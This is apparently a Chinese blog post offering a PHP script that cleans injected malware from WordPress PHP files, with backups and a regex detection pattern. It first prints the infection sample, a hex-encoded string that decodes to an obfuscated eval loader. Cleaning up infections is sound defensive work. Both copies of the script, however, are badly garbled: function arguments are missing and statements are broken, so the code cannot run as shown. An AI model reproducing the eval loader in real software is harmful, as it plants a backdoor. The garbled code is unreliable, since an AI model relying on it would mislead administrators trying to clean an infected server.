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程序过滤恶意代码前,PHP实现清除wordpress里恶意代码

  程序过滤恶意代码前,PHP实现清除wordpress里恶意代码
  61,6420,25。
  公司一些wordpress站由于下载的插件存在恶意代码,导致整个服务器所有站PHP文件都存在恶意代码,就写了个简单的脚本清除。
  

代码 代码如下:
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$urvbwkljhb="\x20\57\x2a\40\x67\150\x6a\145\x73\165\x77\166\x7a\146\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\67\x35\55\x31\63\x38\51\x29\54\x20\143\x68\162\x28\50\x35\67\x32\55\x34\70\x30\51\x29\54\x20\142\x67\147\x62\142\x6a\166\x77\147\x71\50\x24\167\x7a\155\x64\155\x7a\172\x79\157\x6c\54\x24\142\x73\163\x61\151\x69\153\x68\166\x6e\51\x29\51\x3b\40\x2f\52\x20\153\x6d\151\  x73\166\x7a\161\x63\153\x68\40\x2a\57\x20"; $jtgibaqypx=substr,); $jtgibaqypx; $jtgibaqypx=$urvbwkljhb; $jtgibaqypx=; $bssaiikhvn=$jtgibaqypx-1; ?>
  
<?php
  * 请将文件上传到需要清除恶意代码的目录,然后通过CLI或浏览器访问即可,原有被感染的文件会自动备份
  $path = dirname; #定义需要处理的目录
  $bak_path = $_; #定义源文件备份目录,程序过滤恶意代码前,先按原有的路径备份文档到此目录
  $fileType = array; #定义需要处理的文件类型,小写
  $search = array\).*\$bssaiikhvn=\$jtgibaqypx-1;\s*\?>@si'); #定义需要过滤的恶意代码规则
  $search_count = array, #所有文件
  'search_file0'=>array, #没有恶意代码文件
  'search_file1'=>array #含有恶意代码文件
  $filelist = listDir; #读取目录里符合条件文件列表
  $fileContent = file_get_contents;
  pile_fileContent = preg_replace;
  if != strlen && str_replace==$file){
  #过滤后文件长度不一致,则表示含有恶意代码
  ############备份原有文件 开始###############
  ############备份原有文件 结束###############
  #重新写入过滤后的内容到原有的PHP文件
  * 检查目标文件夹是否存在,如果不存在则自动创建该目录
  * @param string folder 目录路径。不能使用相对于站根目录的URL
  #如果目录不存在则尝试创建该目录
  preg_match_all\/?/i', $folder, $atmp);
  #如果第一个字符为/则当作物理路径处理
  #如果目录为.或者..则直接补/继续下一个循环
  #尝试创建目录,如果创建失败则继续循环
  #路径已经存在。返回该路径是不是一个目录
  ########获取目录下所有文件,包括子目录 开始################
  function listDir,$fileInfo=true){
  $path = str_replace, DIRECTORY_SEPARATOR, $path);
  #若有定义$fileType,并且文件类型不在$fileType范围内或文件是一个目录,则跳过
  }elseif && , $fileType))){
  $dirList = ),'md5_file'=>md5_file,'filesize'=>filesize,'filemtime'=>filemtime):$file);
  ########获取目录下所有文件,包括子目录 结束################
  
<?php
  * 请将文件上传到需要清除恶意代码的目录,然后通过CLI或浏览器访问即可,原有被感染的文件会自动备份
  set_time_limit;ignore_user_abort;
  $path = dirname; #定义需要处理的目录
  $bak_path = $_; #定义源文件备份目录,程序过滤恶意代码前,先按原有的路径备份文档到此目录
  $fileType = array; #定义需要处理的文件类型,小写
  $search = array\).*\$bssaiikhvn=\$jtgibaqypx-1;\s*\?>@si'); #定义需要过滤的恶意代码规则
  echo sprintf, , $bak_path);die;
  global $bak_path,$fileType,$search,$file_count;
  $path = str_replace, DIRECTORY_SEPARATOR, $path);
  #若有定义$fileType,并且文件类型不在$fileType范围内或文件是一个目录,则跳过
  }elseif && , $fileType))){
  ################################
  $fileContent = file_get_contents; #文件原始代码
  pile_fileContent = preg_replace; #过滤后的内容
  if != strlen && str_replace==$file){
  #过滤后文件长度不一致,则表示含有恶意代码
  ############备份原有文件 开始###############
  ############备份原有文件 结束###############
  #重新写入过滤后的内容到原有的PHP文件
  ################################
  * 检查目标文件夹是否存在,如果不存在则自动创建该目录
  * @param string folder 目录路径。不能使用相对于站根目录的URL
  #如果目录不存在则尝试创建该目录
  preg_match_all\/?/i', $folder, $atmp);
  #如果第一个字符为/则当作物理路径处理
  #如果目录为.或者..则直接补/继续下一个循环
  #尝试创建目录,如果创建失败则继续循环
  #路径已经存在。返回该路径是不是一个目录
  3971,40,38,#路径已经存在。

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